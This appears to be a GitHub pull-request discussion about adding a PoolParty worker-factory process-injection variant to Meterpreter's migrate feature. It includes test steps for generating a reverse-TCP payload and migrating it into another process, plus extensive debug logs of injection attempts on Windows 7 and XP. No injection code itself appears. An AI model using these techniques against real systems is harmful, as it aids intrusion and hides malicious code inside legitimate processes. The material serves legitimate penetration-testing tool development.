Skip to content

Conversation

xHector1337
Copy link

@xHector1337 xHector1337 commented Aug 20, 2025

This PR extends current PoolParty functionalities to:

  • x86 -> x86 on Windows 10+
  • Verify if we can use it against Windows 7+ targets x86 (Windows 7 not supported)
  • Verify if we can use it against Windows 7+ targets x64 (Windows 7 not supported)

The injection are achieved by adding a new variant, the 'Worker Factory Start Routine Overwrite`

TEST

  • compile custom debug metsrv x86 on VS2019/VS2022, put it in <metasploit-framework>/data/meterpreter/
  • start msfconsole
  • use payload/windows/meterpreter_reverse_tcp (or staged version. it doesn't matter)
  • set MeterpreterDebugBuild true
  • set MeterpreterDebugLogging rpath:C:/Windows/Temp/doo.txt
  • generate payload and drop it to a Windows 10 x86 target.
  • get a meterpreter session
  • open a notepad and get the pid
  • migrate <notepad pid>
  • Inspect the log
  • You should see successful migration using the worker_factory_overwrite variant.

@dledda-r7 dledda-r7 assigned dledda-r7 and unassigned dledda-r7 Aug 21, 2025
@smcintyre-r7
Copy link
Contributor

Is there a scenario where this technique will work while the existing one won't? I don't think our goal is to cover all of the PoolParty techniques since we only need one that suits our need and the user can't select which to use. We'd be more interested in adding the existing PoolParty support to x86 to expand our coverage.

@dledda-r7
Copy link
Contributor

dledda-r7 commented Aug 21, 2025

@smcintyre-r7, This technique is the good candidate to cover the following missing ones:

x86 -> x86. that's because we don't have clear idea of the TP_DIRECT structure on 32-bit systems and we either need to do some fuzzing to understand the offset or use this technique

x64 -> wow64
wow64 -> wow64

This may be a long-shot, but based on the #710 (comment) comment of mine, i think with the WorkerFactory technique we can bypass the control flow guard check happening in wow64 context

EDIT: This is outside of the scope of this PR... We will circle back fo WoW64

@xHector1337 xHector1337 marked this pull request as ready for review September 3, 2025 08:55
@dledda-r7
Copy link
Contributor

dledda-r7 commented Sep 12, 2025

Windows 7 x64 & x86

[0f24] [MIGRATE] Attempting to migrate. ProcessID=3404, Arch=x64
[0f24] [MIGRATE] Attempting to migrate. PayloadLength=289792 StubLength=317
[0f24] [INJECT][supports_poolparty_injection] RtlGetVersion: 0000000076F155E0
[0f24] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2
[0f24] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 6 os.dwMinorVersion: 1
[0f24] [INJECT][supports_poolparty_injection] bIsSupported: 1
[0f24] [MIGRATE] Got SeDebugPrivilege!
[0f24] [MIGRATE] creating the configuration block
[0f24] [CONFIG] preparing the configuration
[0f24] [CONFIG] Allocating 1036 bytes for transport, total of 1604 bytes
[0f24] [CONFIG] Comms handle set to 000000000000009C
[0f24] [CONFIG] Total of 1614 bytes located at 0x00000000026FBDC0
[0f24] [MIGRATE] Config of 1614 bytes stashed at 0x00000000026FBDC0
[0f24] [MIGRATE] Duplicated Event Handle: 0x16c
[0f24] [MIGRATE] Migrate stub: 0x00000000001B0000 -> 317 bytes
[0f24] [MIGRATE] Migrate context: 0x00000000001B013D -> 388 bytes
[0f24] [MIGRATE] Migrate payload: 0x00000000001B02C1 -> 289792 bytes
[0f24] [MIGRATE] Configuration: 0x00000000001F6EC1 -> 1614 bytes
[0f24] [INJECT][supports_poolparty_injection] RtlGetVersion: 0000000076F155E0
[0f24] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2
[0f24] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 6 os.dwMinorVersion: 1
[0f24] [INJECT][supports_poolparty_injection] bIsSupported: 1
[0f24] [INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationProcess: 0000000076F30040 NtQueryObject: 0000000076F2FFB0
[0f24] [INJECT][inject_via_poolparty][ntdll_init] ZwSetIoCompletion: 0000000076F31510
[0f24] [INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationWorkerFactory = 0000000076F31090 && NtSetInformationWorkerFactory = 0000000076F314F0
[0f24] [INJECT][inject_via_poolparty] using: poolparty_stub_x64
[0f24] [INJECT][inject_via_poolparty] lpStub: 00000000001935E0
[0f24] [INJECT][inject_via_poolparty] ctx [0000000000200112] lpStartAddress: 00000000001B0000 lpParameter 00000000001B013D hTriggerEvent 0000000000000170
[0f24] [INJECT][inject_via_poolparty] Attempting injection with variant POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION
[0f24] [INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: 00000000026FC9B0
[0f24] [INJECT][inject_via_poolparty][get_remote_handle] NtQueryInformationProcess() : 00000000C0000003
[0f24] [INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to locate IoCompletion object inside the target process.. error=50 (0x32)
[0f24] [INJECT][inject_via_poolparty] Attempting injection with variant POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE
[0f24] [INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: 00000000026FC9B0
[0f24] [INJECT][inject_via_poolparty][get_remote_handle] NtQueryInformationProcess() : 00000000C0000003
[0f24] [INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] Couldn't find TpWorkerFactory object in the target process or couldn't duplicate the found TpWorkerFactory object. error=50 (0x32)
[0f24] [INJECT] inject_via_poolparty: none of the supported variant worked.. error=1 (0x1)
[0f24] [MIGRATE] inject_via_poolparty failed, proceeding with legacy injection.
[0f24] [INJECT] inject_via_remotethread: succeeded
[0f24] [INJECT] inject_via_remotethread: Sending a migrate response...
[0cf0] [MIGRATE] Attempting to migrate. ProcessID=3616, Arch=x86
[0cf0] [MIGRATE] Attempting to migrate. PayloadLength=250368 StubLength=223
[0cf0] [INJECT][supports_poolparty_injection] RtlGetVersion: 7784FB4F
[0cf0] [INJECT][supports_poolparty_injection] dwSourceArch: 1 dwDestinationArch: 1
[0cf0] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 6 os.dwMinorVersion: 1
[0cf0] [INJECT][supports_poolparty_injection] bIsSupported: 1
[0cf0] [MIGRATE] creating the configuration block
[0cf0] [CONFIG] preparing the configuration
[0cf0] [CONFIG] Allocating 1036 bytes for transport, total of 1604 bytes
[0cf0] [CONFIG] Comms handle set to 0000009C
[0cf0] [CONFIG] Total of 1614 bytes located at 0x01B7B870
[0cf0] [MIGRATE] Config of 1614 bytes stashed at 0x01B7B870
[0cf0] [MIGRATE] Duplicated Event Handle: 0x168
[0cf0] [MIGRATE] Migrate stub: 0x00580000 -> 223 bytes
[0cf0] [MIGRATE] Migrate context: 0x005800DF -> 388 bytes
[0cf0] [MIGRATE] Migrate payload: 0x00580263 -> 250368 bytes
[0cf0] [MIGRATE] Configuration: 0x005BD463 -> 1614 bytes
[0cf0] [INJECT][supports_poolparty_injection] RtlGetVersion: 7784FB4F
[0cf0] [INJECT][supports_poolparty_injection] dwSourceArch: 1 dwDestinationArch: 1
[0cf0] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 6 os.dwMinorVersion: 1
[0cf0] [INJECT][supports_poolparty_injection] bIsSupported: 1
[0cf0] [INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationProcess: 77835490 NtQueryObject: 77835570
[0cf0] [INJECT][inject_via_poolparty][ntdll_init] ZwSetIoCompletion: 77835B40
[0cf0] [INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationWorkerFactory = 778354F0 && NtSetInformationWorkerFactory = 77835B20
[0cf0] [INJECT][inject_via_poolparty] using: poolparty_stub_x86
[0cf0] [INJECT][inject_via_poolparty] lpStub: 002F1480
[0cf0] [INJECT][inject_via_poolparty] ctx [001800CE] lpStartAddress: 00580000 lpParameter 005800DF hTriggerEvent 0000016C
[0cf0] [INJECT][inject_via_poolparty] Attempting injection with variant POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE
[0cf0] [INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: 01B7BEC8
[0cf0] [INJECT][inject_via_poolparty][get_remote_handle] NtQueryInformationProcess() : C0000003
[0cf0] [INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] Couldn't find TpWorkerFactory object in the target process or couldn't duplicate the found TpWorkerFactory object. error=50 (0x32)
[0cf0] [INJECT] inject_via_poolparty: none of the supported variant worked.. error=1 (0x1)
[0cf0] [MIGRATE] inject_via_poolparty failed, proceeding with legacy injection.
[0cf0] [INJECT] inject_via_remotethread: succeeded
[0cf0] [INJECT] inject_via_remotethread: Sending a migrate response...

@dledda-r7 dledda-r7 changed the title [WIP] Add support for PoolParty WorkerFactory Overwrite variant Add support for PoolParty WorkerFactory Overwrite variant Sep 12, 2025
@dledda-r7
Copy link
Contributor

dledda-r7 commented Sep 16, 2025

PR CURRENTLY BLOCKED

This PR is currently blocked until we fix our gem building system.
The PR looks good, code is clean, it was already tested with Windows 10+ systems and some older Windows 7 systems.
Needs minor testing to older version (Windows XP+) just to ensure meterpreter is running.

Thanks a lot @xHector1337 for your amazing work!

25/09/2025 PR IS NOT BLOCKED ANYMORE

@xHector1337
Copy link
Author

xHector1337 commented Sep 26, 2025

Windows XP Pro SP 2 x64

[0738] [PKT FIND] Types don't match, skipping.
[0738] [PKT FIND] TLV header length: 137204
[0738] [PKT FIND] TLV header type: 537133460
[0738] [PKT FIND] Types don't match, skipping.
[0738] [PKT FIND] TLV header length: 317
[0738] [PKT FIND] TLV header type: 537133467
[0738] [PKT FIND] Found!
[0738] [MIGRATE] Attempting to migrate. ProcessID=2384, Arch=x64
[0738] [MIGRATE] Attempting to migrate. PayloadLength=289792 StubLength=317
[0738] [INJECT][supports_poolparty_injection] RtlGetVersion: 0000000077ED89D0
[0738] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2
[0738] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 5 os.dwMinorVersion: 2
[0738] [MIGRATE] Got SeDebugPrivilege!
[0738] [MIGRATE] creating the configuration block
[0738] [CONFIG] preparing the configuration
[0738] [CONFIG] Allocating 1036 bytes for transport, total of 1604 bytes
[0738] [CONFIG] Comms handle set to 000000000000006C
[0738] [CONFIG] Total of 1614 bytes located at 0x0000000000179010
[0738] [MIGRATE] Config of 1614 bytes stashed at 0x0000000000179010
[0738] [MIGRATE] Duplicated Event Handle: 0x64
[0738] [MIGRATE] Migrate stub: 0x0000000001DA0000 -> 317 bytes
[0738] [MIGRATE] Migrate context: 0x0000000001DA013D -> 388 bytes
[0738] [MIGRATE] Migrate payload: 0x0000000001DA02C1 -> 289792 bytes
[0738] [MIGRATE] Configuration: 0x0000000001DE6EC1 -> 1614 bytes
[0738] [INJECT] inject_via_remotethread: succeeded
[0738] [INJECT] inject_via_remotethread: Sending a migrate response...
[0738] [TRANSMIT] Sending packet to the server
[0738] [PKT FIND] Looking for type 65538
[0738] [PKT FIND] TLV header length: 12
[0738] [PKT FIND] TLV header type: 131073
[0738] [PKT FIND] Types don't match, skipping.
[0738] [PKT FIND] TLV header length: 41
[0738] [PKT FIND] TLV header type: 65538
[0738] [PKT FIND] Found!
[0738] [ENC] Preparing for encryption ...
[0738] [ENC] Context is valid, moving on ... 
[0738] [ENC] Context is enabled, doing the AES encryption
[0738] [ENC] IV: 71ED68A24E30E8DC9493451A7F95035E
[0738] [ENC] IV Set successfully
[0738] [ENC] Data encrypted successfully, size is 112
[0738] [ENC] Packet buffer size is: 160
[0738] [ENC] Sending header (before XOR): [0x63 0x3F 0x01 0xF9] [0x57 0xFA 0x30 0x70 0x93 0xDD 0x4A 0x2A 0xB4 0x94 0x39 0x81 0x98 0xD2 0x3D 0x82] [0x00 0x00 0x00 0x01] [0x00 0x00 0x00 0x88] [0x00 0x00 0x00 0x01]
[0738] [XOR] XORing 156 bytes with key 633f01f9
[0738] [ENC] Packet encoded and ready for transmission
[0738] [ENC] Sending header (after XOR): [0x63 0x3F 0x01 0xF9] [0x34 0xC5 0x31 0x89 0xF0 0xE2 0x4B 0xD3 0xD7 0xAB 0x38 0x78 0xFB 0xED 0x3C 0x7B] [0x63 0x3F 0x01 0xF8] [0x63 0x3F 0x01 0x71] [0x63 0x3F 0x01 0xF8]
[0738] [PKT FIND] Looking for type 131073
[0738] [PKT FIND] TLV header length: 12
[0738] [PKT FIND] TLV header type: 131073
[0738] [PKT FIND] Found!
[0738] [PACKET] Sending packet to remote, length: 160, command id: 14

** Windows XP Pro SP 3 x86 **

[05fc] [PKT FIND] TLV header type: 537133460
[05fc] [PKT FIND] Types don't match, skipping.
[05fc] [PKT FIND] TLV header length: 231
[05fc] [PKT FIND] TLV header type: 262555
[05fc] [PKT FIND] Found!
[05fc] [MIGRATE] Attempting to migrate. ProcessID=460, Arch=x86
[05fc] [MIGRATE] Attempting to migrate. PayloadLength=250368 StubLength=223
[05fc] [INJECT][supports_poolparty_injection] RtlGetVersion: 7C91964B
[05fc] [INJECT][supports_poolparty_injection] dwSourceArch: 1 dwDestinationArch: 1
[05fc] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 5 os.dwMinorVersion: 1
[05fc] [MIGRATE] creating the configuration block
[05fc] [CONFIG] preparing the configuration
[05fc] [CONFIG] Allocating 1036 bytes for transport, total of 1604 bytes
[05fc] [CONFIG] Comms handle set to 00000060
[05fc] [CONFIG] Total of 1614 bytes located at 0x00BEE210
[05fc] [MIGRATE] Config of 1614 bytes stashed at 0x00BEE210
[05fc] [MIGRATE] Duplicated Event Handle: 0x7c
[05fc] [MIGRATE] Migrate stub: 0x00910000 -> 223 bytes
[05fc] [MIGRATE] Migrate context: 0x009100DF -> 388 bytes
[05fc] [MIGRATE] Migrate payload: 0x00910263 -> 250368 bytes
[05fc] [MIGRATE] Configuration: 0x0094D463 -> 1614 bytes
[05fc] [INJECT] inject_via_remotethread: succeeded
[05fc] [INJECT] inject_via_remotethread: Sending a migrate response...
[05fc] [TRANSMIT] Sending packet to the server
[05fc] [PKT FIND] Looking for type 65538
[05fc] [PKT FIND] TLV header length: 12
[05fc] [PKT FIND] TLV header type: 131073
[05fc] [PKT FIND] Types don't match, skipping.
[05fc] [PKT FIND] TLV header length: 41
[05fc] [PKT FIND] TLV header type: 65538
[05fc] [PKT FIND] Found!

@dledda-r7 dledda-r7 removed their assignment Oct 8, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

4 participants